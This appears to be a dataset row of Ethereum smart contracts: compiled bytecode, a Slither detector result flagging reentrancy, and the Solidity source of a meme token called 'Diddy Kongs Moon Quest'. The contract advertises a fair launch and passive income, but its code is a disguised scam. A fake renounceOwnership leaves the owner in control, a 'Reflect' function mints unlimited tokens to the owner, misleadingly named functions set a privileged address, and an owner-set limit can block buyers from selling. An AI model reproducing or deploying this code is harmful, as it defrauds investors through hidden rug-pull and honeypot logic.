fffffffffffffffffffffffffff166113586117b3565b73ffffffffffffffffffffffffffffffffffffffff16145b61137957600080fd5b600061138430610c51565b905061138f81612345565b50565b61139a6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e90613402565b60405180910390fd5b60005b838390508110156114c657816005600086868581811061144d5761144c613422565b5b905060200201602081019061146291906131a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114be90613480565b91505061142a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155b6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df90613402565b60405180910390fd5b8060178190555050565b6115fa6117b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e90613402565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed906136ea565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361182a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118219061377c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611899576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118909061380e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197791906130d2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea906138a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990613932565b60405180910390fd5b60008111611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c906139c4565b60405180910390fd5b611aad610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1b5750611aeb610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0657601560149054906101000a900460ff16611baa57611b3c610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613a56565b60405180910390fd5b5b601654811115611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be690613ac2565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c935750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990613b54565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d7f5760175481611d3484610c51565b611d3e9190613b74565b10611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590613c3c565b60405180910390fd5b5b6000611d8a30610c51565b9050600060185482101590506016548210611da55760165491505b808015611dbd575060158054906101000a900460ff16155b8015611e175750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2f5750601560169054906101000a900460ff165b8015611e855750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edb5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0357611ee982612345565b60004790506000811115611f0157611f004761226b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fad5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120605750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561205f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561206e57600090506121f5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121195750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213157600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121dc5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f457600a54600c81905550600b54600d819055505b5b612201848484846125bc565b50505050565b600083831115829061224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122469190612f7b565b60405180910390fd5b506000838561225e9190613c5c565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b5050565b600060065482111561231e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231590613d02565b60405180910390fd5b60006123286125e9565b905061233d818461261490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561237c5761237b612d09565b5b6040519080825280602002602001820160405280156123aa5781602001602082028036833780820191505090505b50905030816000815181106123c2576123c1613422565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612469573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061248d9190613d37565b816001815181106124a1576124a0613422565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161256c959493929190613e5d565b600060405180830381600087803b15801561258657600080fd5b505af115801561259a573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125ca576125c961265e565b5b6125d584848461269b565b806125e3576125e2612866565b5b50505050565b60008060006125f661287a565b9150915061260d818361261490919063ffffffff16565b9250505090565b600061265683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506128dc565b905092915050565b6000600c5414801561267257506000600d54145b61269957600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806126ad8761293f565b95509550955095509550955061270b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127a085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ec81612a4f565b6127f68483612b0c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161285391906130d2565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea0000090506128b0683635c9adc5dea0000060065461261490919063ffffffff16565b8210156128cf57600654683635c9adc5dea000009350935050506128d8565b81819350935050505b9091565b60008083118290612923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291a9190612f7b565b60405180910390fd5b50600083856129329190613ee6565b9050809150509392505050565b600080600080600080600080600061295c8a600c54600d54612b46565b925092509250600061296c6125e9565b9050600080600061297f8e878787612bdc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612207565b905092915050565b6000808284612a009190613b74565b905083811015612a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3c90613f63565b60405180910390fd5b8091505092915050565b6000612a596125e9565b90506000612a708284612c6590919063ffffffff16565b9050612ac481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129f190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b21826006546129a790919063ffffffff16565b600681905550612b3c816007546129f190919063ffffffff16565b6007819055505050565b600080600080612b726064612b64888a612c6590919063ffffffff16565b61261490919063ffffffff16565b90506000612b9c6064612b8e888b612c6590919063ffffffff16565b61261490919063ffffffff16565b90506000612bc582612bb7858c6129a790919063ffffffff16565b6129a790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bf58589612c6590919063ffffffff16565b90506000612c0c8689612c6590919063ffffffff16565b90506000612c238789612c6590919063ffffffff16565b90506000612c4c82612c3e85876129a790919063ffffffff16565b6129a790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612c775760009050612cd9565b60008284612c859190613f83565b9050828482612c949190613ee6565b14612cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ccb9061404f565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d4182612cf8565b810181811067ffffffffffffffff82111715612d6057612d5f612d09565b5b80604052505050565b6000612d73612cdf565b9050612d7f8282612d38565b919050565b600067ffffffffffffffff821115612d9f57612d9e612d09565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612de082612db5565b9050919050565b612df081612dd5565b8114612dfb57600080fd5b50565b600081359050612e0d81612de7565b92915050565b6000612e26612e2184612d84565b612d69565b90508083825260208201905060208402830185811115612e4957612e48612db0565b5b835b81811015612e725780612e5e8882612dfe565b845260208401935050602081019050612e4b565b5050509392505050565b600082601f830112612e9157612e90612cf3565b5b8135612ea1848260208601612e13565b91505092915050565b600060208284031215612ec057612ebf612ce9565b5b600082013567ffffffffffffffff811115612ede57612edd612cee565b5b612eea84828501612e7c565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f2d578082015181840152602081019050612f12565b83811115612f3c576000848401525b50505050565b6000612f4d82612ef3565b612f578185612efe565b9350612f67818560208601612f0f565b612f7081612cf8565b840191505092915050565b60006020820190508181036000830152612f958184612f42565b905092915050565b6000819050919050565b612fb081612f9d565b8114612fbb57600080fd5b50565b600081359050612fcd81612fa7565b92915050565b60008060408385031215612fea57612fe9612ce9565b5b6000612ff885828601612dfe565b925050602061300985828601612fbe565b9150509250929050565b60008115159050919050565b61302881613013565b82525050565b6000602082019050613043600083018461301f565b92915050565b6000819050919050565b600061306e61306961306484612db5565b613049565b612db5565b9050919050565b600061308082613053565b9050919050565b600061309282613075565b9050919050565b6130a281613087565b82525050565b60006020820190506130bd6000830184613099565b92915050565b6130cc81612f9d565b82525050565b60006020820190506130e760008301846130c3565b92915050565b60008060006060848603121561310657613105612ce9565b5b600061311486828701612dfe565b935050602061312586828701612dfe565b925050604061313686828701612fbe565b9150509250925092565b600060ff82169050919050565b61315681613140565b82525050565b6000602082019050613171600083018461314d565b92915050565b61318081612dd5565b82525050565b600060208201905061319b6000830184613177565b92915050565b6000602082840312156131b7576131b6612ce9565b5b60006131c584828501612dfe565b91505092915050565b6131d781613013565b81146131e257600080fd5b50565b6000813590506131f4816131ce565b92915050565b6000602082840312156132105761320f612ce9565b5b600061321e848285016131e5565b91505092915050565b60006020828403121561323d5761323c612ce9565b5b600061324b84828501612fbe565b91505092915050565b6000806000806080858703121561326e5761326d612ce9565b5b600061327c87828801612fbe565b945050602061328d87828801612fbe565b935050604061329e87828801612fbe565b92505060606132af87828801612fbe565b91505092959194509250565b600080fd5b60008083601f8401126132d6576132d5612cf3565b5b8235905067ffffffffffffffff8111156132f3576132f26132bb565b5b60208301915083602082028301111561330f5761330e612db0565b5b9250929050565b60008060006040848603121561332f5761332e612ce9565b5b600084013567ffffffffffffffff81111561334d5761334c612cee565b5b613359868287016132c0565b9350935050602061336c868287016131e5565b9150509250925092565b6000806040838503121561338d5761338c612ce9565b5b600061339b85828601612dfe565b92505060206133ac85828601612dfe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133ec602083612efe565b91506133f7826133b6565b602082019050919050565b6000602082019050818103600083015261341b816133df565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061348b82612f9d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036134bd576134bc613451565b5b600182019050919050565b7f4275792072657761726473000000000000000000000000000000000000000000600082015250565b60006134fe600b83612efe565b9150613509826134c8565b602082019050919050565b6000602082019050818103600083015261352d816134f1565b9050919050565b7f4275792074617800000000000000000000000000000000000000000000000000600082015250565b600061356a600783612efe565b915061357582613534565b602082019050919050565b600060208201905081810360008301526135998161355d565b9050919050565b7f53656c6c20726577617264730000000000000000000000000000000000000000600082015250565b60006135d6600c83612efe565b91506135e1826135a0565b602082019050919050565b60006020820190508181036000830152613605816135c9565b9050919050565b7f53656c6c20746178000000000000000000000000000000000000000000000000600082015250565b6000613642600883612efe565b915061364d8261360c565b602082019050919050565b6000602082019050818103600083015261367181613635565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136d4602683612efe565b91506136df82613678565b604082019050919050565b60006020820190508181036000830152613703816136c7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613766602483612efe565b91506137718261370a565b604082019050919050565b6000602082019050818103600083015261379581613759565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137f8602283612efe565b91506138038261379c565b604082019050919050565b60006020820190508181036000830152613827816137eb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061388a602583612efe565b91506138958261382e565b604082019050919050565b600060208201905081810360008301526138b98161387d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061391c602383612efe565b9150613927826138c0565b604082019050919050565b6000602082019050818103600083015261394b8161390f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006139ae602983612efe565b91506139b982613952565b604082019050919050565b600060208201905081810360008301526139dd816139a1565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613a40603f83612efe565b9150613a4b826139e4565b604082019050919050565b60006020820190508181036000830152613a6f81613a33565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613aac601c83612efe565b9150613ab782613a76565b602082019050919050565b60006020820190508181036000830152613adb81613a9f565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613b3e602383612efe565b9150613b4982613ae2565b604082019050919050565b60006020820190508181036000830152613b6d81613b31565b9050919050565b6000613b7f82612f9d565b9150613b8a83612f9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bbf57613bbe613451565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613c26602383612efe565b9150613c3182613bca565b604082019050919050565b60006020820190508181036000830152613c5581613c19565b9050919050565b6000613c6782612f9d565b9150613c7283612f9d565b925082821015613c8557613c84613451565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613cec602a83612efe565b9150613cf782613c90565b604082019050919050565b60006020820190508181036000830152613d1b81613cdf565b9050919050565b600081519050613d3181612de7565b92915050565b600060208284031215613d4d57613d4c612ce9565b5b6000613d5b84828501613d22565b91505092915050565b6000819050919050565b6000613d89613d84613d7f84613d64565b613049565b612f9d565b9050919050565b613d9981613d6e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613dd481612dd5565b82525050565b6000613de68383613dcb565b60208301905092915050565b6000602082019050919050565b6000613e0a82613d9f565b613e148185613daa565b9350613e1f83613dbb565b8060005b83811015613e50578151613e378882613dda565b9750613e4283613df2565b925050600181019050613e23565b5085935050505092915050565b600060a082019050613e7260008301886130c3565b613e7f6020830187613d90565b8181036040830152613e918186613dff565b9050613ea06060830185613177565b613ead60808301846130c3565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ef182612f9d565b9150613efc83612f9d565b925082613f0c57613f0b613eb7565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613f4d601b83612efe565b9150613f5882613f17565b602082019050919050565b60006020820190508181036000830152613f7c81613f40565b9050919050565b6000613f8e82612f9d565b9150613f9983612f9d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fd257613fd1613451565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614039602183612efe565b915061404482613fdd565b604082019050919050565b600060208201905081810360008301526140688161402c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d465864e8224a5dc6263be84c599f9bb67c62807e82e676def63eefefc77af464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,121 |
0xcffaee656e959c524478e08f5a10ac1620325dad
|
/*
.#####...######..#####...#####...##..##..........##..##...####...##..##...####.....##.....####..
.##..##....##....##..##..##..##...####...........##.##...##..##..###.##..##........##....##.....
.##..##....##....##..##..##..##....##............####....##..##..##.###..##.###.....#.....####..
.##..##....##....##..##..##..##....##............##.##...##..##..##..##..##..##..............##.
.#####...######..#####...#####.....##............##..##...####...##..##...####............####..
................................................................................................
MOON QUEST
@diddykongmoon
🦧 Diddy Kong's Quest to the Moon 🦧
Come help Donkey Kong and Diddy Kong get to the moon! Diddy's going to take you on a wild ride, and if you're BRAVE enough, you will make it to the moon! 🦍 💎
⮫ Fair Launch - No Buy/Sell fees! 🚀
⮫ Holders earn passive income - staking system will be released soon!
⮫ Chance per purchase to receive 2x the amount of tokens - a unique rewarding method!
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.7;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DiddyKongsMoonQuest is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 300000000000 * 10**18;
string private _name = 'Diddy Kongs Moon Quest';
string private _symbol = 'KONG';
uint8 private _decimals = 18;
uint256 private rTotal = 300000000000 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063b4a99a4e11610066578063b4a99a4e146104ae578063dd62ed3e146104e2578063eb7d2cce1461055a578063f2fde38b1461058857610100565b8063715018a61461037957806395d89b411461038357806396bfcd2314610406578063a9059cbb1461044a57610100565b8063313ce567116100d3578063313ce5671461028e578063408e9645146102af57806344192a01146102dd57806370a082311461032157610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066e565b60405180821515815260200191505060405180910390f35b6101f461068c565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610696565b60405180821515815260200191505060405180910390f35b610296610755565b604051808260ff16815260200191505060405180910390f35b6102db600480360360208110156102c557600080fd5b810190808035906020019092919050505061076c565b005b61031f600480360360208110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a3565b005b6103636004803603602081101561033757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaf565b6040518082815260200191505060405180910390f35b610381610af8565b005b61038b610c7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104486004803603602081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d21565b005b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffff